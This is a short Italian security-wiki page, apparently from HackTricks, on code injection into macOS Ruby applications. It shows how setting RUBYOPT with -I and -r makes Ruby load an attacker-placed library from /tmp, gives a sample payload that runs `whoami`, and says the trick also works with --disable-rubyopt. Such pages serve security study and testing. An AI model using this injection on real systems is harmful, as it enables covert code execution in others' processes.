26 lines
969 B
Markdown

# macOS Ruby Applications Injection
{{#include ../../../banners/hacktricks-training.md}}
## RUBYOPT
Utilizzando questa variabile di ambiente è possibile **aggiungere nuovi parametri** a **ruby** ogni volta che viene eseguito. Anche se il parametro **`-e`** non può essere utilizzato per specificare il codice ruby da eseguire, è possibile utilizzare i parametri **`-I`** e **`-r`** per aggiungere una nuova cartella al percorso delle librerie da caricare e poi **specificare una libreria da caricare**.
Crea la libreria **`inject.rb`** in **`/tmp`**:
```ruby:inject.rb
puts `whoami`
```
Crea ovunque uno script ruby come:
```ruby:hello.rb
puts 'Hello, World!'
```
Poi fai caricare un arbitrario script ruby con:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb
```
Fatto divertente, funziona anche con il parametro **`--disable-rubyopt`**:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
```
{{#include ../../../banners/hacktricks-training.md}}